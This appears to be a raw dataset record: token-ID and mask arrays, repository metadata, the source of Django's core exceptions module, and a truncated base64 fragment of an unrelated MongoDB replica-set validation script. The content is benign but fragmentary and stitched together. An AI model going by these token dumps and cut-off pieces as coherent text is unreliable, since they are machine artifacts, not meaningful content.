[ 4287, 26, 3507, 29, 6798, 13, 2732, 199, 624, 199, 2925, 367, 8651, 19617, 5360, 19761, 14, 199, 624, 199, 504, 2882, 492, 7640, 199, 199, 646, 366, 3583, 199, 199, 504, 21577, 14, 16432, 14, 1972, 63, 1246, 14, 4166, 14, 1515, 22932, 14, 1457, 63, 4631, 492, 8651, 14125, 19761, 199, 504, 21577, 14, 16432, 14, 1972, 63, 1246, 14, 4166, 14, 1515, 22932, 14, 24148, 492, 8651, 19617, 5360, 19761, 199, 504, 22709, 14, 1018, 14, 16432, 14, 1317, 14, 1457, 63, 6976, 14, 1457, 63, 6976, 492, 8651, 10766, 2377, 1617, 1451, 199, 504, 22709, 14, 1018, 14, 16432, 14, 1317, 14, 1457, 63, 6976, 14, 3702, 492, 8651, 10766, 2927, 199, 504, 22709, 14, 1018, 14, 16432, 14, 1317, 14, 1457, 63, 6976, 14, 2219, 14, 7546, 492, 12988, 828, 2956, 22060, 199, 504, 9872, 14, 10012, 492, 23431, 199, 504, 9872, 14, 10012, 14, 2219, 14, 1176, 63, 1208, 492, 17996, 1746, 199, 504, 9872, 14, 10012, 14, 2219, 14, 15406, 492, 15227, 6979, 2927, 421, 199, 32, 11138, 14, 11138, 199, 533, 8651, 19617, 5360, 19761, 1746, 8, 1746, 12, 12988, 828, 2956, 22060, 304, 272, 408, 272, 5531, 13, 643, 19075, 511, 1021, 367, 5343, 314, 20721, 5360, 21484, 14, 272, 408, 272, 11814, 275, 841, 339, 768, 11138, 14, 576, 8, 267, 334, 16, 12, 378, 12, 990, 14431, 398, 334, 16, 12, 378, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 378, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 12, 650, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 413, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 12, 650, 467, 990, 942, 2522, 267, 334, 403, 12, 499, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 359, 19, 467, 942, 2522, 267, 334, 403, 12, 650, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 359, 19, 467, 942, 2522, 267, 334, 403, 12, 841, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 359, 19, 467, 942, 2522, 267, 334, 17, 12, 841, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 990, 990, 942, 2522, 267, 334, 18, 12, 841, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 990, 942, 2522, 398, 334, 16, 12, 378, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 16, 12, 378, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 403, 12, 378, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 12, 650, 12, 841, 12, 959, 12, 1227, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 403, 12, 413, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 12, 959, 12, 1227, 467, 359, 19, 12, 841, 12, 959, 12, 1227, 467, 990, 990, 990, 942, 2522, 267, 334, 403, 12, 499, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 359, 21, 12, 1227, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 650, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 359, 21, 12, 1227, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 841, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 359, 21, 12, 1227, 467, 990, 990, 942, 2522, 267, 334, 17, 12, 841, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 18, 12, 841, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 990, 990, 990, 942, 2522, 272, 776, 272, 768, 11138, 14, 5301, 272, 347, 511, 63, 24148, 8, 277, 12, 5818, 12, 16681, 63, 4631, 12, 4978, 63, 1130, 12, 1420, 63, 10927, 63, 1130, 304, 398, 1853, 63, 6976, 275, 291, 14, 981, 63, 1457, 63, 6976, 8, 3223, 63, 1130, 12, 8651, 10766, 2377, 1617, 1451, 9, 267, 8651, 14125, 19761, 8, 4631, 680, 4711, 8, 3807, 63, 815, 29, 403, 12, 1853, 63, 6976, 29, 1457, 63, 6976, 9, 267, 8651, 19617, 5360, 19761, 8, 10927, 63, 4631, 680, 4711, 8, 3807, 63, 815, 29, 403, 12, 1853, 63, 6976, 29, 1457, 63, 6976, 9, 267, 1853, 63, 6976, 423, 22268, 63, 26522, 342, 398, 367, 1853, 63, 498, 12, 1420, 63, 10927, 315, 3874, 8, 2062, 63, 10927, 63, 1130, 304, 288, 291, 14, 479, 27264, 8, 355, 663, 8, 2975, 8, 1457, 9, 367, 1853, 315, 1420, 63, 10927, 395, 355, 663, 8, 490, 1853, 63, 6976, 14, 362, 63, 19754, 63, 1457, 63, 698, 8, 717, 1853, 63, 498, 12, 717, 8651, 19617, 5360, 19761, 12, 717, 8651, 19617, 5360, 19761, 14, 8475, 63, 46, 6087, 1277, 2594, 12, 717, 942, 490, 776, 355, 2318, 288, 776, 421, 199, 533, 8651, 19617, 5360, 19761, 6979, 1746, 8, 27863, 304, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kenshay/ImageScripter
ProgramData/SystemFiles/Python/Lib/site-packages/django/core/exceptions.py
57
5729
""" Global Django exception and warning classes. """ from django.utils import six from django.utils.encoding import force_text class FieldDoesNotExist(Exception): """The requested model field does not exist""" pass class DjangoRuntimeWarning(RuntimeWarning): pass class AppRegistryNotReady(Exception): """The django.apps registry is not populated yet""" pass class ObjectDoesNotExist(Exception): """The requested object does not exist""" silent_variable_failure = True class MultipleObjectsReturned(Exception): """The query returned multiple objects when only one was expected.""" pass class SuspiciousOperation(Exception): """The user did something suspicious""" class SuspiciousMultipartForm(SuspiciousOperation): """Suspect MIME request in multipart form data""" pass class SuspiciousFileOperation(SuspiciousOperation): """A Suspicious filesystem operation was attempted""" pass class DisallowedHost(SuspiciousOperation): """HTTP_HOST header contains invalid value""" pass class DisallowedRedirect(SuspiciousOperation): """Redirect to scheme not in allowed list""" pass class TooManyFieldsSent(SuspiciousOperation): """ The number of fields in a GET or POST request exceeded settings.DATA_UPLOAD_MAX_NUMBER_FIELDS. """ pass class RequestDataTooBig(SuspiciousOperation): """ The size of the request (excluding any file uploads) exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE. """ pass class PermissionDenied(Exception): """The user did not have permission to do that""" pass class ViewDoesNotExist(Exception): """The requested view does not exist""" pass class MiddlewareNotUsed(Exception): """This middleware is not used in this server configuration""" pass class ImproperlyConfigured(Exception): """Django is somehow improperly configured""" pass class FieldError(Exception): """Some kind of problem with a model field.""" pass NON_FIELD_ERRORS = '__all__' class ValidationError(Exception): """An error while validating data.""" def __init__(self, message, code=None, params=None): """ The `message` argument can be a single error, a list of errors, or a dictionary that maps field names to lists of errors. What we define as an "error" can be either a simple string or an instance of ValidationError with its message attribute set, and what we define as list or dictionary can be an actual `list` or `dict` or an instance of ValidationError with its `error_list` or `error_dict` attribute set. """ # PY2 can't pickle naive exception: http://bugs.python.org/issue1692335. super(ValidationError, self).__init__(message, code, params) if isinstance(message, ValidationError): if hasattr(message, 'error_dict'): message = message.error_dict # PY2 has a `message` property which is always there so we can't # duck-type on it. It was introduced in Python 2.5 and already # deprecated in Python 2.6. elif not hasattr(message, 'message' if six.PY3 else 'code'): message = message.error_list else: message, code, params = message.message, message.code, message.params if isinstance(message, dict): self.error_dict = {} for field, messages in message.items(): if not isinstance(messages, ValidationError): messages = ValidationError(messages) self.error_dict[field] = messages.error_list elif isinstance(message, list): self.error_list = [] for message in message: # Normalize plain strings to instances of ValidationError. if not isinstance(message, ValidationError): message = ValidationError(message) if hasattr(message, 'error_dict'): self.error_list.extend(sum(message.error_dict.values(), [])) else: self.error_list.extend(message.error_list) else: self.message = message self.code = code self.params = params self.error_list = [self] @property def message_dict(self): # Trigger an AttributeError if this ValidationError # doesn't have an error_dict. getattr(self, 'error_dict') return dict(self) @property def messages(self): if hasattr(self, 'error_dict'): return sum(dict(self).values(), []) return list(self) def update_error_dict(self, error_dict): if hasattr(self, 'error_dict'): for field, error_list in self.error_dict.items(): error_dict.setdefault(field, []).extend(error_list) else: error_dict.setdefault(NON_FIELD_ERRORS, []).extend(self.error_list) return error_dict def __iter__(self): if hasattr(self, 'error_dict'): for field, errors in self.error_dict.items(): yield field, list(ValidationError(errors)) else: for error in self.error_list: message = error.message if error.params: message %= error.params yield force_text(message) def __str__(self): if hasattr(self, 'error_dict'): return repr(dict(self)) return repr(list(self)) def __repr__(self): return 'ValidationError(%s)' % self class EmptyResultSet(Exception): """A database query predicate is impossible.""" pass
gpl-3.0
[ 624, 199, 7025, 5634, 1919, 436, 5721, 3992, 14, 199, 624, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 421, 199, 533, 29994, 8, 1726, 304, 272, 408, 1918, 5839, 1402, 901, 1630, 440, 2187, 624, 272, 986, 421, 199, 533, 5634, 14357, 3849, 8, 14357, 3849, 304, 272, 986, 421, 199, 533, 4693, 10899, 1763, 17960, 8, 1726, 304, 272, 408, 1918, 1639, 14, 5181, 7086, 365, 440, 16460, 5966, 624, 272, 986, 421, 199, 533, 24803, 8, 1726, 304, 272, 408, 1918, 5839, 909, 1630, 440, 2187, 624, 272, 10866, 63, 1975, 63, 5328, 275, 715, 421, 199, 533, 14326, 11188, 28239, 8, 1726, 304, 272, 408, 1918, 1827, 2138, 3663, 2251, 1380, 1454, 1373, 1990, 1420, 1041, 272, 986, 421, 199, 533, 428, 28651, 6044, 8, 1726, 304, 272, 408, 1918, 922, 8103, 6020, 308, 28651, 624, 421, 199, 533, 428, 28651, 27242, 2821, 8, 51, 28651, 6044, 304, 272, 408, 51, 527, 1764, 14735, 1056, 315, 15193, 1824, 666, 624, 272, 986, 421, 199, 533, 428, 28651, 1173, 6044, 8, 51, 28651, 6044, 304, 272, 408, 33, 428, 28651, 10036, 3439, 1990, 22040, 624, 272, 986, 421, 199, 533, 5289, 6541, 4965, 8, 51, 28651, 6044, 304, 272, 408, 2856, 63, 5449, 1406, 3509, 3866, 574, 624, 272, 986, 421, 199, 533, 5289, 6541, 7071, 8, 51, 28651, 6044, 304, 272, 408, 7071, 370, 5687, 440, 315, 4370, 769, 624, 272, 986, 421, 199, 533, 22893, 4089, 7304, 17367, 8, 51, 28651, 6044, 304, 272, 408, 272, 710, 1329, 402, 1504, 315, 282, 9576, 503, 8761, 1056, 22007, 272, 2202, 14, 3998, 63, 16418, 63, 4283, 63, 9190, 63, 12767, 14, 272, 408, 272, 986, 421, 199, 533, 4784, 1451, 13749, 7279, 8, 51, 28651, 6044, 304, 272, 408, 272, 710, 1568, 402, 314, 1056, 334, 476, 4923, 1263, 570, 26598, 9, 22007, 272, 2202, 14, 3998, 63, 16418, 63, 4283, 63, 19495, 63, 4305, 14, 272, 408, 272, 986, 421, 199, 533, 23724, 8, 1726, 304, 272, 408, 1918, 922, 8103, 440, 1172, 4983, 370, 886, 626, 624, 272, 986, 421, 199, 533, 10935, 7400, 8, 1726, 304, 272, 408, 1918, 5839, 2455, 1630, 440, 2187, 624, 272, 986, 421, 199, 533, 603, 3551, 1763, 9167, 8, 1726, 304, 272, 408, 2765, 10816, 365, 440, 1202, 315, 642, 1654, 2897, 624, 272, 986, 421, 199, 533, 11897, 8, 1726, 304, 272, 408, 9323, 365, 29437, 1742, 10567, 7526, 624, 272, 986, 421, 199, 533, 27691, 8, 1726, 304, 272, 408, 7700, 4928, 402, 5160, 543, 282, 1402, 901, 1041, 272, 986, 421, 199, 13887, 63, 8609, 63, 21477, 275, 2560, 452, 12217, 421, 199, 533, 8505, 8, 1726, 304, 272, 408, 2493, 1125, 1830, 1686, 1958, 666, 1041, 272, 347, 636, 826, 721, 277, 12, 1245, 12, 1233, 29, 403, 12, 1862, 29, 403, 304, 267, 408, 267, 710, 658, 1188, 64, 1423, 883, 506, 282, 2849, 1125, 12, 282, 769, 402, 2552, 12, 503, 282, 267, 2600, 626, 9033, 901, 1561, 370, 5548, 402, 2552, 14, 14791, 781, 5627, 465, 267, 376, 298, 705, 2, 883, 506, 1902, 282, 3486, 1059, 503, 376, 1256, 402, 267, 8505, 543, 2399, 1245, 2225, 663, 12, 436, 4052, 781, 5627, 465, 267, 769, 503, 2600, 883, 506, 376, 3503, 658, 513, 64, 503, 658, 807, 64, 503, 376, 1256, 267, 402, 8505, 543, 2399, 658, 705, 63, 513, 64, 503, 658, 705, 63, 807, 64, 2225, 663, 14, 267, 408, 398, 327, 7843, 18, 883, 1133, 5927, 19995, 1919, 26, 1455, 921, 13017, 14, 1548, 14, 1308, 15, 5237, 975, 2942, 13793, 14, 267, 1613, 8, 8172, 12, 291, 2843, 826, 721, 1188, 12, 1233, 12, 1862, 9, 398, 340, 1228, 8, 1188, 12, 8505, 304, 288, 340, 2688, 8, 1188, 12, 283, 705, 63, 807, 735, 355, 1245, 275, 1245, 14, 705, 63, 807, 288, 327, 7843, 18, 965, 282, 658, 1188, 64, 3324, 1314, 365, 3544, 2337, 880, 781, 883, 1133, 288, 327, 366, 10112, 13, 466, 641, 652, 14, 2779, 1990, 21399, 315, 2018, 499, 14, 21, 436, 2575, 288, 327, 5906, 315, 2018, 499, 14, 22, 14, 288, 916, 440, 2688, 8, 1188, 12, 283, 1188, 7, 340, 3816, 14, 4521, 19, 587, 283, 600, 735, 355, 1245, 275, 1245, 14, 705, 63, 513, 288, 587, 26, 355, 1245, 12, 1233, 12, 1862, 275, 1245, 14, 1188, 12, 1245, 14, 600, 12, 1245, 14, 1162, 398, 340, 1228, 8, 1188, 12, 1211, 304, 288, 291, 14, 705, 63, 807, 275, 1052, 288, 367, 901, 12, 3788, 315, 1245, 14, 1744, 837, 355, 340, 440, 1228, 8, 3431, 12, 8505, 304, 490, 3788, 275, 8505, 8, 3431, 9, 355, 291, 14, 705, 63, 807, 59, 698, 61, 275, 3788, 14, 705, 63, 513, 398, 916, 1228, 8, 1188, 12, 769, 304, 288, 291, 14, 705, 63, 513, 275, 942, 288, 367, 1245, 315, 1245, 26, 355, 327, 21017, 8971, 3326, 370, 4454, 402, 8505, 14, 355, 340, 440, 1228, 8, 1188, 12, 8505, 304, 490, 1245, 275, 8505, 8, 1188, 9, 355, 340, 2688, 8, 1188, 12, 283, 705, 63, 807, 735, 490, 291, 14, 705, 63, 513, 14, 2880, 8, 1838, 8, 1188, 14, 705, 63, 807, 14, 1459, 1062, 15927, 355, 587, 26, 490, 291, 14, 705, 63, 513, 14, 2880, 8, 1188, 14, 705, 63, 513, 9, 398, 587, 26, 288, 291, 14, 1188, 275, 1245, 288, 291, 14, 600, 275, 1233, 288, 291, 14, 1162, 275, 1862, 288, 291, 14, 705, 63, 513, 275, 359, 277, 61, 339, 768, 1829, 272, 347, 1245, 63, 807, 8, 277, 304, 267, 327, 24015, 376, 4281, 340, 642, 8505, 267, 327, 3181, 1133, 1172, 376, 1125, 63, 807, 14, 267, 2519, 8, 277, 12, 283, 705, 63, 807, 358, 398, 372, 1211, 8, 277, 9, 339, 768, 1829, 272, 347, 3788, 8, 277, 304, 267, 340, 2688, 8, 277, 12, 283, 705, 63, 807, 735, 288, 372, 3089, 8, 807, 8, 277, 680, 1459, 1062, 3073, 267, 372, 769, 8, 277, 9, 339, 347, 1678, 63, 705, 63, 807, 8, 277, 12, 1125, 63, 807, 304, 267 ]
[ 199, 7025, 5634, 1919, 436, 5721, 3992, 14, 199, 624, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 421, 199, 533, 29994, 8, 1726, 304, 272, 408, 1918, 5839, 1402, 901, 1630, 440, 2187, 624, 272, 986, 421, 199, 533, 5634, 14357, 3849, 8, 14357, 3849, 304, 272, 986, 421, 199, 533, 4693, 10899, 1763, 17960, 8, 1726, 304, 272, 408, 1918, 1639, 14, 5181, 7086, 365, 440, 16460, 5966, 624, 272, 986, 421, 199, 533, 24803, 8, 1726, 304, 272, 408, 1918, 5839, 909, 1630, 440, 2187, 624, 272, 10866, 63, 1975, 63, 5328, 275, 715, 421, 199, 533, 14326, 11188, 28239, 8, 1726, 304, 272, 408, 1918, 1827, 2138, 3663, 2251, 1380, 1454, 1373, 1990, 1420, 1041, 272, 986, 421, 199, 533, 428, 28651, 6044, 8, 1726, 304, 272, 408, 1918, 922, 8103, 6020, 308, 28651, 624, 421, 199, 533, 428, 28651, 27242, 2821, 8, 51, 28651, 6044, 304, 272, 408, 51, 527, 1764, 14735, 1056, 315, 15193, 1824, 666, 624, 272, 986, 421, 199, 533, 428, 28651, 1173, 6044, 8, 51, 28651, 6044, 304, 272, 408, 33, 428, 28651, 10036, 3439, 1990, 22040, 624, 272, 986, 421, 199, 533, 5289, 6541, 4965, 8, 51, 28651, 6044, 304, 272, 408, 2856, 63, 5449, 1406, 3509, 3866, 574, 624, 272, 986, 421, 199, 533, 5289, 6541, 7071, 8, 51, 28651, 6044, 304, 272, 408, 7071, 370, 5687, 440, 315, 4370, 769, 624, 272, 986, 421, 199, 533, 22893, 4089, 7304, 17367, 8, 51, 28651, 6044, 304, 272, 408, 272, 710, 1329, 402, 1504, 315, 282, 9576, 503, 8761, 1056, 22007, 272, 2202, 14, 3998, 63, 16418, 63, 4283, 63, 9190, 63, 12767, 14, 272, 408, 272, 986, 421, 199, 533, 4784, 1451, 13749, 7279, 8, 51, 28651, 6044, 304, 272, 408, 272, 710, 1568, 402, 314, 1056, 334, 476, 4923, 1263, 570, 26598, 9, 22007, 272, 2202, 14, 3998, 63, 16418, 63, 4283, 63, 19495, 63, 4305, 14, 272, 408, 272, 986, 421, 199, 533, 23724, 8, 1726, 304, 272, 408, 1918, 922, 8103, 440, 1172, 4983, 370, 886, 626, 624, 272, 986, 421, 199, 533, 10935, 7400, 8, 1726, 304, 272, 408, 1918, 5839, 2455, 1630, 440, 2187, 624, 272, 986, 421, 199, 533, 603, 3551, 1763, 9167, 8, 1726, 304, 272, 408, 2765, 10816, 365, 440, 1202, 315, 642, 1654, 2897, 624, 272, 986, 421, 199, 533, 11897, 8, 1726, 304, 272, 408, 9323, 365, 29437, 1742, 10567, 7526, 624, 272, 986, 421, 199, 533, 27691, 8, 1726, 304, 272, 408, 7700, 4928, 402, 5160, 543, 282, 1402, 901, 1041, 272, 986, 421, 199, 13887, 63, 8609, 63, 21477, 275, 2560, 452, 12217, 421, 199, 533, 8505, 8, 1726, 304, 272, 408, 2493, 1125, 1830, 1686, 1958, 666, 1041, 272, 347, 636, 826, 721, 277, 12, 1245, 12, 1233, 29, 403, 12, 1862, 29, 403, 304, 267, 408, 267, 710, 658, 1188, 64, 1423, 883, 506, 282, 2849, 1125, 12, 282, 769, 402, 2552, 12, 503, 282, 267, 2600, 626, 9033, 901, 1561, 370, 5548, 402, 2552, 14, 14791, 781, 5627, 465, 267, 376, 298, 705, 2, 883, 506, 1902, 282, 3486, 1059, 503, 376, 1256, 402, 267, 8505, 543, 2399, 1245, 2225, 663, 12, 436, 4052, 781, 5627, 465, 267, 769, 503, 2600, 883, 506, 376, 3503, 658, 513, 64, 503, 658, 807, 64, 503, 376, 1256, 267, 402, 8505, 543, 2399, 658, 705, 63, 513, 64, 503, 658, 705, 63, 807, 64, 2225, 663, 14, 267, 408, 398, 327, 7843, 18, 883, 1133, 5927, 19995, 1919, 26, 1455, 921, 13017, 14, 1548, 14, 1308, 15, 5237, 975, 2942, 13793, 14, 267, 1613, 8, 8172, 12, 291, 2843, 826, 721, 1188, 12, 1233, 12, 1862, 9, 398, 340, 1228, 8, 1188, 12, 8505, 304, 288, 340, 2688, 8, 1188, 12, 283, 705, 63, 807, 735, 355, 1245, 275, 1245, 14, 705, 63, 807, 288, 327, 7843, 18, 965, 282, 658, 1188, 64, 3324, 1314, 365, 3544, 2337, 880, 781, 883, 1133, 288, 327, 366, 10112, 13, 466, 641, 652, 14, 2779, 1990, 21399, 315, 2018, 499, 14, 21, 436, 2575, 288, 327, 5906, 315, 2018, 499, 14, 22, 14, 288, 916, 440, 2688, 8, 1188, 12, 283, 1188, 7, 340, 3816, 14, 4521, 19, 587, 283, 600, 735, 355, 1245, 275, 1245, 14, 705, 63, 513, 288, 587, 26, 355, 1245, 12, 1233, 12, 1862, 275, 1245, 14, 1188, 12, 1245, 14, 600, 12, 1245, 14, 1162, 398, 340, 1228, 8, 1188, 12, 1211, 304, 288, 291, 14, 705, 63, 807, 275, 1052, 288, 367, 901, 12, 3788, 315, 1245, 14, 1744, 837, 355, 340, 440, 1228, 8, 3431, 12, 8505, 304, 490, 3788, 275, 8505, 8, 3431, 9, 355, 291, 14, 705, 63, 807, 59, 698, 61, 275, 3788, 14, 705, 63, 513, 398, 916, 1228, 8, 1188, 12, 769, 304, 288, 291, 14, 705, 63, 513, 275, 942, 288, 367, 1245, 315, 1245, 26, 355, 327, 21017, 8971, 3326, 370, 4454, 402, 8505, 14, 355, 340, 440, 1228, 8, 1188, 12, 8505, 304, 490, 1245, 275, 8505, 8, 1188, 9, 355, 340, 2688, 8, 1188, 12, 283, 705, 63, 807, 735, 490, 291, 14, 705, 63, 513, 14, 2880, 8, 1838, 8, 1188, 14, 705, 63, 807, 14, 1459, 1062, 15927, 355, 587, 26, 490, 291, 14, 705, 63, 513, 14, 2880, 8, 1188, 14, 705, 63, 513, 9, 398, 587, 26, 288, 291, 14, 1188, 275, 1245, 288, 291, 14, 600, 275, 1233, 288, 291, 14, 1162, 275, 1862, 288, 291, 14, 705, 63, 513, 275, 359, 277, 61, 339, 768, 1829, 272, 347, 1245, 63, 807, 8, 277, 304, 267, 327, 24015, 376, 4281, 340, 642, 8505, 267, 327, 3181, 1133, 1172, 376, 1125, 63, 807, 14, 267, 2519, 8, 277, 12, 283, 705, 63, 807, 358, 398, 372, 1211, 8, 277, 9, 339, 768, 1829, 272, 347, 3788, 8, 277, 304, 267, 340, 2688, 8, 277, 12, 283, 705, 63, 807, 735, 288, 372, 3089, 8, 807, 8, 277, 680, 1459, 1062, 3073, 267, 372, 769, 8, 277, 9, 339, 347, 1678, 63, 705, 63, 807, 8, 277, 12, 1125, 63, 807, 304, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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9wdCwgYXJnIGluIG9wdHM6CiAgICAgICAgaWYgKG9wdCA9PSAnLWgnKToKICAgICAgICAgICAgcHJpbnQgInVzYWdlIHZhbGlkYXRlLnB5IC1tIG1vbmdvQ29ubmVjdFN0cmluZyAtZCBkYXRhYmFzZU5hbWUiCiAgICAgICAgICAgIHN5cy5leGl0KDIpCiAgICAgICAgZWxpZiBvcHQgaW4gKCItbSIpOgogICAgICAgICAgICBtb25nb3N0ciA9IGFyZwogICAgICAgICAgICBwcmludCAiT3ZlcnJpZGluZyBNb25nb0RCIGNvbm5lY3Rpb24gc3RyaW5nIHRvIGJlICIsIG1vbmdvc3RyCiAgICAgICAgZWxpZiBvcHQgaW4gKCItZCIpOgogICAgICAgICAgICBkYl9uYW1lID0gYXJnCiAgICAgICAgICAgIHByaW50ICJPdmVycmlkaW5nIE1vbmdvREIgZGF0YWJhc2UgdG8gYmUgIiwgZGJfbmFtZQoKIyBnZXRzIHRoZSByZXBsaWNhIHNldCBzdGF0dXMKZGVmIGdldF9yc19zdGF0dXMoKToKICAgIGRiID0gY29ubmVjdGlvbi5hZG1pbgogICAgcnMgPSBkYi5jb21tYW5kKCJyZXBsU2V0R2V0U3RhdHVzIikKICAgIHJldHVybiBycwoKIyBnZXRzIHRoZSByZXBsaWNhIHN0YXRlIGNvbmZpZwpkZWYgZ2V0X3JzX2NvbmZpZ3VyYXRpb24oKToKICAgIGRiID0gY29ubmVjdGlvbi5sb2NhbAogICAgY29sbCA9IGRiLnN5c3RlbS5yZXBsc2V0CiAgICByZXR1cm4gY29sbC5maW5kX29uZSgpCgpkZWYgcmVwbF9zZXRfcnVubmluZyhudW1fbm9kZXMpOgoKICAgIHRyeToKICAgICAgICBycyA9IGdldF9yc19zdGF0dXMoKQogICAgICAgIGNvbmYgPSBnZXRfcnNfY29uZmlndXJhdGlvbigpCiAgICAgICAgaG9zdHMgID0gY29ubmVjdGlvbi5ob3N0cwogICAgZXhjZXB0OgogICAgICAgIHByaW50ICJjYW4ndCBxdWVyeSBNb25nb0RCLi5pcyBpdCBydW5uaW5nPyIKICAgICAgICByYWlzZQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChyc1snb2snXSAhPSAxKToKICAgICAgICBwcmludCAiU29ycnksIG9rIGlzIG5vdCAxIGZvciBycy5zdGF0dXMoKSIKICAgICAgICBwcmludCAiSGVyZSBpcyB3aGF0IEkgZ2V0OiIKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzKQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChsZW4ocnNbJ21lbWJlcnMnXSkgIT0gbnVtX25vZGVzKToKICAgICAgICBwcmludCAiU29ycnksIHRoZXJlIG5lZWQgdG8gYmUgdGhyZWUgbWVtYmVycyBvZiB0aGUgcmVwbGljYSBzZXQuIgogICAgICAgIHByaW50ICJoZXJlIGlzIHRoZSBtZW5iZXJzIGFycmF5IEkgc2VlIgoKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzWydtZW1iZXJzJ10pCiAgICAgICAgcm